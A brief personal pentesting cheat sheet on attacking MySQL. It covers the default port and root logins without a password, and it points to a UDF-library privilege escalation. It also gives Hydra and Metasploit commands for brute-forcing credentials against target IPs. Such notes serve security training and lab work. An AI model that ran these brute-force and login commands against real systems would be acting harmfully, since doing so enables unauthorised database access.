MySQL Jutsus

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MySQL Jutsus

1. Default port

The default port for MySQL, MariaDB is 3306.

2. Connection

Usually not allowed to connect via remote host. Sometimes it is misconfigured.

Local: 
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked
Remote: 
mysql -h 192.168.58.101 -u root
mysql -h 192.168.58.101 -u root@localhost
Try sqsh too.

3. Local Priv Esc for MySQL Version 5.5.x/5.6.x/5.7.x

If version is low enough, you can import a .so library if mysql root user. Hacktricks has worked. Look on PG-Banzai too.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql

locate "*lib_mysqludf_sys*" # This works, already on Kali

4. Brute-force MySQL

hydra -L usernames.txt -P pass.txt 192.168.34.33 mysql
hydra -L usernames.txt -P pass.txt -M targets.txt mysql
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

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